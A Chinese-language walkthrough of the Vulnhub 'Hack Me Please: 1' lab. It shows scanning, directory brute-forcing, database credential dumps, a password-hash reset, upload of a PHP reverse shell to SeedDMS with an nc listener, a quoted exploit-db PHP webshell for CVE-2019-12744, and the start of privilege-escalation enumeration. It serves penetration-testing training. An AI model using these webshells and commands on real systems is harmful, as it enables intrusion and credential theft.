【Vulnhub 靶场】【Hack Me Please: 1】【简单】【20210731】

2023-12-22 19:32:36

1、环境介绍

靶场介绍https://www.vulnhub.com/entry/hack-me-please-1,731/
靶场下载https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar
靶场难度:简单
发布日期:2021年07月31日
文件大小:4.1 GB
靶场作者:Saket Sourav
靶场系列:Hack Me Please
靶场描述

  • 描述:一个简单的盒子,完全为OSCP制作。不需要粗暴对待。
  • 目标:获得根壳

打靶耗时:3+ 小时,初步的信息比较隐蔽,我忽略掉了。
打靶关键

  1. Web 目录扫描、页面静态检查
  2. 上传 WebShell
  3. Linux 信息收集、SUDO 提权

2、主机发现与端口扫描

(base) ┌──(root?kali)-[~] (??????)?? 
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:cb:7e:f5, IPv4: 192.168.56.3
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    3a:f9:d3:90:a4:64       (Unknown: locally administered)
192.168.56.35   08:00:27:39:cf:a8       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.045 seconds (125.18 hosts/sec). 2 responded
(base) ┌──(root?kali)-[~] (??????)?? 
└─# nmap -T4 -sC -sV -p- -A --min-rate=1000 192.168.56.35
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-15 00:31 EST
Nmap scan report for 192.168.56.35
Host is up (0.00057s latency).
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Welcome to the land of pwnland
3306/tcp  open  mysql   MySQL 8.0.25-0ubuntu0.20.04.1
|_ssl-date: TLS randomness does not represent time
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.25-0ubuntu0.20.04.1
|   Thread ID: 38
|   Capabilities flags: 65535
|   Some Capabilities: Speaks41ProtocolOld, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, FoundRows, Support41Auth, Speaks41ProtocolNew, InteractiveClient, LongPassword, DontAllowDatabaseTableColumn, SupportsTransactions, LongColumnFlag, IgnoreSigpipes, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, SupportsCompression, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
|   Status: Autocommit
|   Salt: kQ\x06c\x18_m;#\x194\x1Dm\x17^#0\x17r\x13
|_  Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.25_Auto_Generated_Server_Certificate
| Not valid before: 2021-07-03T00:33:15
|_Not valid after:  2031-07-01T00:33:15
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
MAC Address: 08:00:27:39:CF:A8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.57 ms 192.168.56.35

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.82 seconds
(base) ┌──(root?kali)-[~] (??????)?? 
└─# nmap --script=vuln -p 80,3306,33030 192.168.56.35 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-11-15 00:37 EST
Nmap scan report for 192.168.56.35
Host is up (0.00060s latency).

PORT      STATE  SERVICE
80/tcp    open   http
|_http-stored-xss: Couldn·t find any stored XSS vulnerabilities.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.56.35
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.56.35:80/
|     Form id: contact
|_    Form action: 
|_http-dombased-xss: Couldn't find any DOM based XSS.
3306/tcp  open   mysql
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
33030/tcp closed unknown
MAC Address: 08:00:27:39:CF:A8 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 31.50 seconds

3、80端口 - Web

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3.1、目录扫描

# 基础小字典,初扫摸底
dirb http://192.168.56.35
# 较全面 conda activate py37
dirsearch -u http://192.168.56.35 -t 64 -e *
# 包含静态检查 conda activate py310
cd ~/dirsearch_bypass403 ; python dirsearch.py -u "http://192.168.56.35" -j yes -b yes
# 较全面 Plus conda activate py39
cd ~/soft/dirmap ; python3 dirmap.py -i http://192.168.56.35 -lcf
# 常规文件扫描
gobuster dir -u http://192.168.56.35 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x txt,php,html,conf -e -k -r -q
# 可执行文件扫描
gobuster dir -u http://192.168.56.35 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x js,aspx,cgi,sh,jsp -e -k -r -q
# 压缩包,备份扫描
gobuster dir -u http://192.168.56.35 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x rar,zip,7z,tar.gz,bak,txt,old,temp -e -k -r -q
  • http://192.168.56.35/index.html
  • http://192.168.56.35/img/aa
  • http://192.168.56.35/css/
  • http://192.168.56.35/fonts/
  • http://192.168.56.35/img/
  • http://192.168.56.35/js/

3.2、静态检查HTML和JS

也没啥东西

3.3、扫描「JS」目录

gobuster dir -u http://192.168.56.35/js -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -x js,aspx,cgi,sh,jsp -e -k -r -q
  • http://192.168.56.35/js/main.js
  • http://192.168.56.35/js/plugins.js
  • http://192.168.56.35/js/vendor/
(base) ┌──(root?kali)-[~/SecretFinder] (??????)?? 
└─# python3 SecretFinder.py -i http://192.168.56.35/ -e -g 'jquery;bootstrap;api.google.com' -o cli
[ + ] URL: http://192.168.56.35/js/vendor/modernizr-2.8.3-respond-1.4.2.min.js
twilio_account_sid      ->      ace-backgroundsize-borderimage-bor
twilio_account_sid      ->      acity-rgba-textshadow-cssanimation
twilio_account_sid      ->      ache-canvas-canvastext-draganddrop
twilio_app_sid  ->      applicationcache-canvas-canvastext
version ->      2.8.3
version ->      3.7.0
version ->      1.4.2
[ + ] URL: http://192.168.56.35/js/datepicker.js
authorization_api       ->      api click
version ->      1.7.1
[ + ] URL: http://192.168.56.35/js/plugins.js
twilio_account_sid      ->      ACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw
version ->      2.9.0
version ->      1.5.5
version ->      1.3.3
[ + ] URL: http://192.168.56.35/js/main.js
version ->      5.1.22

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3.4、「/seeddms51x/seeddms-5.1.22」扫描

dirb http://192.168.56.35/seeddms51x/seeddms-5.1.22
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/index.php
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/controllers/
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/doc/
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/install/
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/languages/
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/op/
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/out/
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/styles/
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/utils/
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/views/
  • http://192.168.56.35/seeddms51x/seeddms-5.1.22/webdav/

3.5、「/seeddms51x」扫描

dirb http://192.168.56.35/seeddms51x
  • http://192.168.56.35/seeddms51x/conf/
  • http://192.168.56.35/seeddms51x/data/
  • http://192.168.56.35/seeddms51x/pear/
  • http://192.168.56.35/seeddms51x/www/

3.6、「/seeddms51x/conf」扫描

dirsearch -u http://192.168.56.35/seeddms51x/conf -t 64 -e *
  • http://192.168.56.35/seeddms51x/conf/settings.xml

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4、登录数据库

(base) ┌──(root?kali)-[~/soft/wordlists] (??????)?? 
└─# mysql -h 192.168.56.35 -u seeddms -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 255
Server version: 8.0.25-0ubuntu0.20.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> use seeddms;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [seeddms]> select * from tblUsers;
+----+-------+----------------------------------+---------------+--------------------+----------+-------+---------+------+--------+---------------------+---------------+----------+-------+------------+
| id | login | pwd                              | fullName      | email              | language | theme | comment | role | hidden | pwdExpiration       | loginfailures | disabled | quota | homefolder |
+----+-------+----------------------------------+---------------+--------------------+----------+-------+---------+------+--------+---------------------+---------------+----------+-------+------------+
|  1 | admin | f9ef2c539bad8a6d2f3432b6d49ab51a | Administrator | address@server.com | en_GB    |       |         |    1 |      0 | 2021-07-13 00:12:25 |             0 |        0 |     0 |       NULL |
|  2 | guest | NULL                             | Guest User    | NULL               |          |       |         |    2 |      0 | NULL                |             0 |        0 |     0 |       NULL |
+----+-------+----------------------------------+---------------+--------------------+----------+-------+---------+------+--------+---------------------+---------------+----------+-------+------------+
2 rows in set (0.001 sec)

MySQL [seeddms]> select * from users;
+-------------+---------------------+--------------------+-----------------+
| Employee_id | Employee_first_name | Employee_last_name | Employee_passwd |
+-------------+---------------------+--------------------+-----------------+
|           1 | saket               | saurav             | Saket@#$1337    |
+-------------+---------------------+--------------------+-----------------+
1 row in set (0.001 sec)

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  • 重写密码
MySQL [seeddms]> UPDATE tblUsers SET pwd=md5('admin') WHERE login='admin';
Query OK, 0 rows affected (0.001 sec)
Rows matched: 1  Changed: 0  Warnings: 0

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5、上传WegShell

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5.1、文件上传成功,找到上传位置

MySQL [seeddms]> select * from tblDocumentContent;
+----+----------+---------+---------+------------+-----------+-----+-----------------------+----------+----------+----------+----------------------------------+
| id | document | version | comment | date       | createdBy | dir | orgFileName           | fileType | mimeType | fileSize | checksum                         |
+----+----------+---------+---------+------------+-----------+-----+-----------------------+----------+----------+----------+----------------------------------+
|  4 |        4 |       1 |         | 1700054597 |         1 | 4/  | php-reverse-shell.php | .php     | text/php |     5494 | d0ad680c7648061532b4979cadbbe897 |
+----+----------+---------+---------+------------+-----------+-----+-----------------------+----------+----------+----------+----------------------------------+
1 row in set (0.001 sec)

MySQL [seeddms]> select * from tblDocuments;
+----+-----------------------+---------+------------+---------+-------+--------+------------+---------------+---------------+--------+----------+----------+
| id | name                  | comment | date       | expires | owner | folder | folderList | inheritAccess | defaultAccess | locked | keywords | sequence |
+----+-----------------------+---------+------------+---------+-------+--------+------------+---------------+---------------+--------+----------+----------+
|  4 | php-reverse-shell.php |         | 1700054597 |       0 |     1 |      1 | :1:        |             1 |             2 |     -1 |          |        1 |
+----+-----------------------+---------+------------+---------+-------+--------+------------+---------------+---------------+--------+----------+----------+
1 row in set (0.001 sec)

MySQL [seeddms]> select * from tblFolders;
+----+------+--------+------------+----------+------------+-------+---------------+---------------+----------+
| id | name | parent | folderList | comment  | date       | owner | inheritAccess | defaultAccess | sequence |
+----+------+--------+------------+----------+------------+-------+---------------+---------------+----------+
|  1 | DMS  |      0 |            | DMS root | 1625291614 |     1 |             0 |             2 |        0 |
+----+------+--------+------------+----------+------------+-------+---------------+---------------+----------+
1 row in set (0.001 sec)

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5.2、文件路径拼接

默认保存目录:1048576

数据库:tblDocumentContent:

  • document:关联「tblDocuments」的「id」
  • dir:保存文件夹
    • 即「4」
  • version:文件重命名后,按版本进行管理
    • 即「1」
  • fileType:文件格式
    • 即「.php」
http://192.168.56.35/seeddms51x/data/1048576/4/1.php

6、反弹连接

(base) ┌──(root?kali)-[~/soft/hack] (??????)?? 
└─# nc -lvnp 7890                       
listening on [any] 7890 ...
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.35] 58684
Linux ubuntu 5.8.0-59-generic #66~20.04.1-Ubuntu SMP Thu Jun 17 11:14:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 06:46:02 up  1:38,  0 users,  load average: 0.11, 0.09, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ SHELL=/bin/bash script -q /dev/null
www-data@ubuntu:/$

6.1、实际上,与「47022.txt」描述的过程相同

(py37) ┌──(root?kali)-[~/soft/hack] (??????)?? 
└─# searchsploit -m 47022.txt
  Exploit: SeedDMS versions < 5.1.11 - Remote Command Execution
      URL: https://www.exploit-db.com/exploits/47022
     Path: /usr/share/exploitdb/exploits/php/webapps/47022.txt
    Codes: CVE-2019-12744
 Verified: False
File Type: ASCII text
Copied to: /root/soft/hack/47022.txt

                                                                                                                     
(py37) ┌──(root?kali)-[~/soft/hack] (??????)?? 
└─# cat 47022.txt      
# Exploit Title: [Remote Command Execution through Unvalidated File Upload in SeedDMS versions <5.1.11]
# Google Dork: [NA]
# Date: [20-June-2019]
# Exploit Author: [Nimit Jain](https://www.linkedin.com/in/nimitiitk)(https://secfolks.blogspot.com)
# Vendor Homepage: [https://www.seeddms.org]
# Software Link: [https://sourceforge.net/projects/seeddms/files/]
# Version: [SeedDMS versions <5.1.11] (REQUIRED)
# Tested on: [NA]
# CVE : [CVE-2019-12744]

Exploit Steps:

Step 1: Login to the application and under any folder add a document.
步骤1:登录到应用程序,并在任何文件夹下添加一个文档。
Step 2: Choose the document as a simple php backdoor file or any backdoor/webshell could be used.
步骤2:选择文档作为一个简单的php后门文件,或者可以使用任何后门/webshell。

PHP Backdoor Code:
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>

Step 3: Now after uploading the file check the document id corresponding to the document.
步骤3:现在上传文件后,检查文档对应的文档id。
Step 4: Now go to example.com/data/1048576/"document_id"/1.php?cmd=cat+/etc/passwd to get the command response in browser.
步骤4:现在转到example.com/data/1048876/“document_id”/1.php?cmd=cat+/etc/passwd在浏览器中获取命令响应。

Note: Here "data" and "1048576" are default folders where the uploaded files are getting saved.
注意:这里的“data”和“1048576”是默认文件夹,上传的文件将保存在其中。

7、Linux 信息收集

7.1、常规信息收集

  • 发现内核漏洞
www-data@ubuntu:/$ history
history
    1  history
www-data@ubuntu:/$ sudo -l
sudo -l
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

Sorry, try again.
[sudo] password for www-data: 

sudo: 3 incorrect password attempts
www-data@ubuntu:/$ /usr/sbin/getcap -r / 2>/dev/null
/usr/sbin/getcap -r / 2>/dev/null
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
www-data@ubuntu:/$ crontab -l
crontab -l
no crontab for www-data
www-data@ubuntu:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
www-data@ubuntu:/$ hostnamectl
hostnamectl
   Static hostname: ubuntu
         Icon name: computer-vm
           Chassis: vm
        Machine ID: 65945d324d45457fa4b2d0fee5bdaba3
           Boot ID: 8d97f70f8545451b97618912d017da74
    Virtualization: oracle
  Operating System: Ubuntu 20.04.2 LTS
            Kernel: Linux 5.8.0-59-generic
      Architecture: x86-64
www-data@ubuntu:/$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
www-data@ubuntu:/$ echo $BASH_VERSION
echo $BASH_VERSION
5.0.17(1)-release

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7.2、文件信息收集

  • 获取用户:saket
    • 上面数据库获取了一个密码
www-data@ubuntu:/$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:115::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:109:116:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:110:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:111:117:RealtimeKit,,,:/proc:/usr/sbin/nologin
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
cups-pk-helper:x:113:120:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
avahi:x:115:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
saned:x:117:123::/var/lib/saned:/usr/sbin/nologin
nm-openvpn:x:118:124:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
hplip:x:119:7:HPLIP system user,,,:/run/hplip:/bin/false
whoopsie:x:120:125::/nonexistent:/bin/false
colord:x:121:126:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:122:127::/var/lib/geoclue:/usr/sbin/nologin
pulse:x:123:128:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gnome-initial-setup:x:124:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:125:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
saket:x:1000:1000:Ubuntu_CTF,,,:/home/saket:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:126:133:MySQL Server,,,:/nonexistent:/bin/false
  • 发现CVE-2021-4034漏洞
www-data@ubuntu:/$ find / -user root -perm /4000 2>/dev/null | grep -v "/snap/"
<ser root -perm /4000 2>/dev/null | grep -v "/snap/"
/usr/bin/umount
/usr/bin/su
/usr/bin/vmware-user-suid-wrapper
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/fusermount
/usr/bin/passwd
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/xorg/Xorg.wrap
/usr/sbin/pppd
www-data@ubuntu:/$ find / -perm -u=s -type f -exec ls -al {} \; 2>/dev/null
find / -perm -u=s -type f -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 39144 Jul 21  2020 /usr/bin/umount
-rwsr-xr-x 1 root root 67816 Jul 21  2020 /usr/bin/su
-rwsr-xr-x 1 root root 14728 Mar 17  2021 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root 31032 Aug 16  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 85064 May 27  2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 166056 Jan 19  2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 88464 May 27  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 53040 May 27  2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 44784 May 27  2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 55528 Jul 21  2020 /usr/bin/mount
-rwsr-xr-x 1 root root 39144 Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 68208 May 27  2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 130152 Nov 19  2020 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 473576 May 29  2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 22840 Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-- 1 root messagebus 51344 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-sr-x 1 root root 14488 Jan 17  2021 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-- 1 root dip 395144 Jul 23  2020 /usr/sbin/pppd
......

7.3、进程信息

www-data@ubuntu:/$ ps -ef
ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 05:07 ?        00:00:02 /sbin/init auto noprompt
......
systemd+     577       1  0 05:08 ?        00:00:01 /lib/systemd/systemd-resolve
systemd+     578       1  0 05:08 ?        00:00:00 /lib/systemd/systemd-timesyn
root         612       1  0 05:08 ?        00:00:00 /usr/lib/accountsservice/acc
root         613       1  0 05:08 ?        00:00:00 /usr/sbin/acpid
avahi        619       1  0 05:08 ?        00:00:00 avahi-daemon: running [ubunt
root         620       1  0 05:08 ?        00:00:00 /usr/sbin/cron -f
message+     622       1  0 05:08 ?        00:00:00 /usr/bin/dbus-daemon --syste
root         623       1  0 05:08 ?        00:00:00 /usr/sbin/NetworkManager --n
root         632       1  0 05:08 ?        00:00:00 /usr/sbin/irqbalance --foreg
root         635       1  0 05:08 ?        00:00:00 /usr/bin/python3 /usr/bin/ne
root         637       1  0 05:08 ?        00:00:00 /usr/lib/policykit-1/polkitd
syslog       639       1  0 05:08 ?        00:00:00 /usr/sbin/rsyslogd -n -iNONE
root         640       1  0 05:08 ?        00:00:01 /usr/lib/snapd/snapd
root         642       1  0 05:08 ?        00:00:00 /usr/libexec/switcheroo-cont
root         644       1  0 05:08 ?        00:00:00 /lib/systemd/systemd-logind
root         646       1  0 05:08 ?        00:00:00 /usr/lib/udisks2/udisksd
root         647       1  0 05:08 ?        00:00:00 /sbin/wpa_supplicant -u -s -
avahi        655     619  0 05:08 ?        00:00:00 avahi-daemon: chroot helper
root         729       1  0 05:08 ?        00:00:00 /usr/sbin/cupsd -l
root         740       1  0 05:08 ?        00:00:00 /usr/sbin/cups-browsed
root         745       1  0 05:08 ?        00:00:00 /usr/sbin/ModemManager --fil
root         752       1  0 05:08 ?        00:00:00 php-fpm: master process (/et
root         754       1  0 05:08 ?        00:00:00 /usr/bin/python3 /usr/share/
root         795       1  0 05:08 ?        00:00:00 /usr/sbin/gdm3
root         820     795  0 05:08 ?        00:00:00 gdm-session-worker [pam/gdm-
whoopsie     833       1  0 05:08 ?        00:00:00 /usr/bin/whoopsie -f
www-data     838     752  0 05:08 ?        00:00:00 php-fpm: pool www
www-data     839     752  0 05:08 ?        00:00:00 php-fpm: pool www
kernoops     842       1  0 05:08 ?        00:00:00 /usr/sbin/kerneloops --test
kernoops     845       1  0 05:08 ?        00:00:00 /usr/sbin/kerneloops
root         891       1  0 05:08 ?        00:00:00 /usr/sbin/apache2 -k start
gdm          894       1  0 05:08 ?        00:00:00 /lib/systemd/systemd --user
gdm          895     894  0 05:08 ?        00:00:00 (sd-pam)
www-data     910     891  0 05:08 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     913     891  0 05:08 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     914     891  0 05:08 ?        00:00:00 /usr/sbin/apache2 -k start
mysql        960       1  0 05:08 ?        00:00:42 /usr/sbin/mysqld
gdm          975     894  0 05:08 ?        00:00:00 /usr/bin/pulseaudio --daemon
gdm          977     894  0 05:08 ?        00:00:00 /usr/libexec/tracker-miner-f
gdm          978     820  0 05:08 tty1     00:00:00 /usr/lib/gdm3/gdm-wayland-se
gdm          981     894  0 05:08 ?        00:00:00 /usr/bin/dbus-daemon --sessi
rtkit        994       1  0 05:08 ?        00:00:00 /usr/libexec/rtkit-daemon
gdm         1003     978  0 05:08 tty1     00:00:00 dbus-run-session -- gnome-se
gdm         1004    1003  0 05:08 tty1     00:00:00 dbus-daemon --nofork --print
gdm         1006    1003  0 05:08 tty1     00:00:00 /usr/libexec/gnome-session-b
gdm         1016     894  0 05:08 ?        00:00:00 /usr/libexec/gvfsd
gdm         1022     894  0 05:08 ?        00:00:00 /usr/libexec/gvfsd-fuse /run
gdm         1031     894  0 05:08 ?        00:00:00 /usr/libexec/gvfs-udisks2-vo
gdm         1052     894  0 05:08 ?        00:00:00 /usr/libexec/gvfs-mtp-volume
gdm         1056     894  0 05:08 ?        00:00:00 /usr/libexec/gvfs-goa-volume
gdm         1071     894  0 05:08 ?        00:00:00 /usr/libexec/goa-daemon
gdm         1078    1006  0 05:08 tty1     00:00:05 /usr/bin/gnome-shell
gdm         1106     894  0 05:08 ?        00:00:00 /usr/libexec/goa-identity-se
gdm         1108     894  0 05:08 ?        00:00:00 /usr/libexec/gvfs-afc-volume
gdm         1117     894  0 05:08 ?        00:00:00 /usr/libexec/gvfs-gphoto2-vo
root        1121       1  0 05:08 ?        00:00:00 /usr/lib/upower/upowerd
gdm         1183       1  0 05:08 tty1     00:00:00 /usr/libexec/at-spi-bus-laun
gdm         1188    1183  0 05:08 tty1     00:00:00 /usr/bin/dbus-daemon --confi
gdm         1191    1078  0 05:08 tty1     00:00:00 /usr/bin/Xwayland :1024 -roo
gdm         1207       1  0 05:08 tty1     00:00:00 /usr/libexec/xdg-permission-
gdm         1220       1  0 05:08 tty1     00:00:00 /usr/libexec/at-spi2-registr
gdm         1223       1  0 05:08 tty1     00:00:00 /usr/bin/gjs /usr/share/gnom
gdm         1224    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-sharing
gdm         1225    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-wacom
gdm         1227    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-color
gdm         1228    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-keyboard
gdm         1235    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-print-notif
gdm         1242    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-rfkill
gdm         1243    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-smartcard
gdm         1245    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-datetime
gdm         1248    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-media-keys
gdm         1260    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-screensaver
gdm         1263    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-sound
gdm         1264    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-a11y-settin
gdm         1267    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-housekeepin
gdm         1273    1006  0 05:08 tty1     00:00:00 /usr/libexec/gsd-power
gdm         1298       1  0 05:08 tty1     00:00:00 /usr/libexec/gsd-printer
gdm         1343    1078  0 05:08 tty1     00:00:00 ibus-daemon --panel disable 
gdm         1348    1343  0 05:08 tty1     00:00:00 /usr/libexec/ibus-memconf
gdm         1350       1  0 05:08 tty1     00:00:00 /usr/libexec/ibus-x11 --kill
